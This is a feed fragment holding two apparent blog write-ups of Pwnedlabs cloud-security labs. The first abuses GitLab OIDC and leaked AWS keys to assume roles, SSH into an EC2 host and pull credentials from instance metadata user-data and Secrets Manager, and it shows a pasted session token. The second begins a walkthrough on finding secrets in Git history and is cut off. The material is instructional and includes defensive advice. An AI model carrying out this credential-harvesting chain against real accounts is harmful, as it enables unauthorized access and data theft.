&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmuzmd2doxmakyhkd5yee.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmuzmd2doxmakyhkd5yee.png" alt="Image description" width="800" height="432"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Also note the region because it would come in handy.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;variables:
  AWS_DEFAULT_REGION: us-east-1
  AWS_PROFILE: "oidc"

oidc:
  image:
    name: amazon/aws-cli:latest
    entrypoint: [""]
  id_tokens:
    GITLAB_OIDC_TOKEN:
      aud: https://gitlab.com
  script:
     - curl -I https://huge-logistics-engineering-1e4a1dbe6edc.s3.amazonaws.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frpt2h1b2ukwoieyddcy8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frpt2h1b2ukwoieyddcy8.png" alt="Image description" width="800" height="617"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Unzipping artifacts.zip we find that backup.txt contains terraform output relating to the user louise , including their AWS credentials!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flild1omeobtcfwpv1wk5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flild1omeobtcfwpv1wk5.png" alt="Image description" width="800" height="315"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Using the keys, configure a new profile called &lt;code&gt;louise&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwg0mw3t7i4bua5hf9yvt.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwg0mw3t7i4bua5hf9yvt.png" alt="Image description" width="768" height="137"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Enumerate this user to get what permissions she has using the commands -
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;aws iam list-attached-user-policies --user-name louise --profile louise
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmz30l0dt249hho8f2i88.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmz30l0dt249hho8f2i88.png" alt="Image description" width="800" height="169"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;She has just view permissions. However, recall that she could assume the engineering role earlier highlighted. So, lets assume that role using the command&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;aws sts assume-role --role-arn arn:aws:iam::009836314902:role/engineering --role-session-name louise-eng --profile louise
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fefh4bh5cwltt4riymqgz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fefh4bh5cwltt4riymqgz.png" alt="Image description" width="800" height="195"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Note - The lifespan for this assumedRole is just 1 hour (3600 seconds).&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Configure a new profile with the credentials. The  section should be replaced with sessionToken output
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;aws configure --profile louise-eng
aws configure set aws_session_token "&amp;lt;token&amp;gt;" --profile louise-eng
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5me9gqn3sbb9fcge7so4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5me9gqn3sbb9fcge7so4.png" alt="Image description" width="800" height="130"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Confirm that you have assumed the role.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F964c9xhos8i3hakj1odo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F964c9xhos8i3hakj1odo.png" alt="Image description" width="800" height="117"&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;To enumerate the permissions for this assumed role, I used the &lt;a href="https://github.com/shabarkin/aws-enumerator" rel="noopener noreferrer"&gt;AWS Enumerator&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Simply install it, populate it with the region we noted earlier and &lt;br&gt;
with &lt;code&gt;louise-eng&lt;/code&gt; assumed role credentials and run the script.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;  ./aws-enumerator cred -aws_region **us-west-2** -aws_access_key_id **ASIAQESSKIELHJJWGSJQ** -aws_secret_access_key 5oxUDaduqZ8jT4VunNN1zgi28VEfYbhYdlGqj/+t -aws_session_token **FwoGZXIvYXdzEPD//////////wEaDAltRa7YSkpYdLa3qCKuAY+XMEyjM2gQdn1KL+8nLpmELaWYr3G0zEzlgT1qAffJvrKvMa3C1NMXWl43WgbMWRZNlhOdI138p2+wHftdN+qNnd/+YkJrKbxNLnn4Tn4XmTczbJofqLb/Fa5AuQyZlzov67HB8TuKWJdIqAU1hrpdX5zRYGiURw+DoTb29/nm0ZBke4Voc8nU5VbsLBIIuJn++KXYekNzWgh6FqurUoE+VhhP+FdibYsccnym/yi64M2/BjItmkIN2gepIv0T299GZQp5qjjr2c7Qoph2u0nsnrOfXfPQPcrd6y2T3PgW0p1S**
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffmeq2rsm3c4tjhk4jlhd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffmeq2rsm3c4tjhk4jlhd.png" alt="Image description" width="800" height="321"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;To get the permissions of this user across all aws services, run the below&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;./aws-enumerator -services all -speed fast
./aws-enumerator dump -services all
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh747atd0n6tr85a4hnta.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh747atd0n6tr85a4hnta.png" alt="Image description" width="637" height="700"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You can see that this assumed role has the permission to describe EC2 instances&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi7j6a6f5wx04dohj4wb5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi7j6a6f5wx04dohj4wb5.png" alt="Image description" width="693" height="202"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Certain of this, lets enumerator the EC2 instance within the region &lt;code&gt;us-west-2&lt;/code&gt; for the image-id, IP address etc.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;aws ec2 describe-instances --region us-west-2 --profile louise-eng
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fj4qzccxmsfgrsh2o4d7q.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fj4qzccxmsfgrsh2o4d7q.png" alt="Image description" width="800" height="478"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnvyfwr75llstn12g3f70.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnvyfwr75llstn12g3f70.png" alt="Image description" width="732" height="251"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fm8o607e0k4d7s62w17zx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fm8o607e0k4d7s62w17zx.png" alt="Image description" width="522" height="217"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now, we know the IP address of the EC2 instance and we have a pem file from the s3 bucket. So, let try to get into the server via ssh.&lt;/p&gt;

&lt;p&gt;Firstly, we have to change the permission of the ec2.pem file before using it for ssh. Let's try using &lt;code&gt;louise&lt;/code&gt; as the username. And we are in!!&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;chmod 400 ec2.pem
ssh -i ec2.pem louise@&amp;lt;ip-address&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note: At this point, you would need to use the VPN from Pwnedlabs.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F25snw95p7x97ba8yfzzf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F25snw95p7x97ba8yfzzf.png" alt="Image description" width="800" height="750"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Lets try accessing the internal instance metadata service (IMDS) on the instance for sensitive information
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;curl http://169.254.169.254/latest/meta-data
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you get a 401 unauthorized error, then IMDSv2 is enabled. IMDSv1 doesn't requires authentication.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Next, we generate a token using the command below. Refence this aws &lt;a href="https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-retrieval.html" rel="noopener noreferrer"&gt;documentation&lt;/a&gt; for that.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` \
&amp;amp;&amp;amp; curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;IMDSv2 introduced tokens to help protect against Server-Side Request Forgery (SSRF) attacks and other vulnerabilities.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fasj34qwwzsjdo067hecn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fasj34qwwzsjdo067hecn.png" alt="Image description" width="800" height="607"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Notice that there isn't &lt;code&gt;iam&lt;/code&gt; category in the output. Hence, let's try the &lt;code&gt;user-data&lt;/code&gt; category using the below command.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/user-data
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This command reveals the bootstrap or user-data script which contain sensitive credentials for a user &lt;code&gt;bob&lt;/code&gt;.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnyneziut1q3r0u9mke80.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnyneziut1q3r0u9mke80.png" alt="Image description" width="800" height="825"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;On your host PC, configure this credentials using the &lt;code&gt;profile: bob&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;aws configure --profile bob
aws sts get-caller-identity --profile bob
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkwhzhpcfkwrdu6uvosu8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkwhzhpcfkwrdu6uvosu8.png" alt="Image description" width="800" height="298"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Recall that both &lt;code&gt;bob&lt;/code&gt; and &lt;code&gt;louise&lt;/code&gt; were seen to have assumed role privileges to the engineering role. Now, using the permission of the engineering role, to enumerate the attached IAM policies for &lt;code&gt;bob&lt;/code&gt;.
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;aws --profile louise-eng iam list-attached-user-policies --user-name bob
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fshf2asf2ylrj2huky3et.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fshf2asf2ylrj2huky3et.png" alt="Image description" width="800" height="218"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;aws --profile louise-eng iam get-policy-version --policy-arn arn:aws:iam::479497507460:policy/ReadSecretsManager --version-id v1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Notice that &lt;code&gt;bob&lt;/code&gt; has permission to list secrets and get secret values.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flc27shkzyezl8j9u8xik.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flc27shkzyezl8j9u8xik.png" alt="Image description" width="800" height="509"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Get the secret value using the command below.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;aws --profile bob secretsmanager get-secret-value --secret-id flag_aeb142bb02a8
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7ku4ybm78zc9t7kxl295.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7ku4ybm78zc9t7kxl295.png" alt="Image description" width="800" height="282"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Defense
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
Always restrict role assumptions to a specific GitLab group, project, branch, or tag to prevent threat actors from easily gaining access. See the example below.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "AllowGitLabToAssumeRole",
            "Effect": "Allow",
            "Principal": {
                "Federated": "arn:aws:iam::YOUR_AWS_ACCOUNT_ID:oidc-provider/gitlab.com"
            },
            "Action": "sts:AssumeRoleWithWebIdentity",
            "Condition": {
                "StringEquals": {
                    "gitlab.com:sub": "project_path:mygroup/myproject:ref_type:branch:ref:main",
                    "gitlab.com:aud": "sts.amazonaws.com"
                }
            }
        }
    ]
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Store credentials securely in AWS Secrets Manager rather than in S3 buckets or file shares. If you must store credentials in such locations, ensure they are encrypted and protected by a very strong password.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Credit: &lt;a href="https://pwnedlabs.io/labs/abuse-openid-connect-and-gitlab-for-aws-access" rel="noopener noreferrer"&gt;Pwnedlabs.io&lt;/a&gt; for this interesting lab. &lt;/p&gt;

</description>
      <category>aws</category>
      <category>cloudsecurity</category>
      <category>awssecurity</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>Hunt for Secrets in Git Repos</title>
      <dc:creator>Constantine Ukah</dc:creator>
      <pubDate>Tue, 18 Mar 2025 15:45:47 +0000</pubDate>
      <link>https://forem.com/constantineukah/hunt-for-secrets-in-git-repos-2dcd</link>
      <guid>https://forem.com/constantineukah/hunt-for-secrets-in-git-repos-2dcd</guid>
      <description>&lt;h2&gt;
  
  
  Overview
&lt;/h2&gt;

&lt;p&gt;Exposed security credentials in Git repositories pose a significant real-world threat, potentially leading to the compromise of individual systems or even entire company networks and platforms.&lt;/p&gt;

&lt;p&gt;Today, we will identify access keys within a target GitHub repository and use them to retrieve sensitive data from an S3 bucket.&lt;/p&gt;

&lt;p&gt;Credit: &lt;a href="https://pwnedlabs.io/labs/hunt-for-secrets-in-git-repos" rel="noopener noreferrer"&gt;Pwnedlabs.io&lt;/a&gt; lab.&lt;/p&gt;

&lt;h2&gt;
  
  
  Requirements / Pre-Requisites
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
Installation of git-secrets or Trufflehog.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Git-secrets prevent accidentally committing passwords, API keys and other sensitive information to a git repository by scanning the contents of Git repositories for predefined patterns that typically indicate the presence of sensitive information. The patterns are defined in regular expression rules. When it detects a match, it raises a warning or prevents the commit, depending on the configuration.&lt;/p&gt;

&lt;p&gt;Trufflehog is another good tool to automate the process of discovering credentials in git repositories&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;git clone https://github.com/awslabs/git-secrets
cd git-secrets
make install
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On debian&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pip3 install trufflehog --break-system-packages
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flsgx3oeugi4icp43qivt.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flsgx3oeugi4icp43qivt.png" alt="Fig. 1" width="642" height="361"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
Clone the Pwnedlab test repository
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;git clone https://github.com/huge-logistics/cargo-logistics-dev.git
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Finally, have your AWSCLI installed. Checkout this AWS &lt;a href="https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html" rel="noopener noreferrer"&gt;Documentation&lt;/a&gt; for a complete installation of the CLI&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Using Git Secret to scan the cloned repository
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Navigate to the cloned git repo directory and run the following commands
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cd cargo-logistics-dev/
git secrets --install
git secrets --register-aws
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkxxi4hfppf07d5wygsy9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkxxi4hfppf07d5wygsy9.png" alt="Fig. 2" width="570" height="170"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Scan all revisions of the repository using the command.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;git secrets --scan-history
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgtbyli6bf6izt7yks8ng.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgtbyli6bf6izt7yks8ng.png" alt="Fig. 3" width="614" height="74"&gt;&lt;/a&gt; &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Check the content of the commit using the git show command
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;git show d8098af5fbf1aa35ae22e99b9493ffae5d97d58f:log-s3-test/log-upload
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



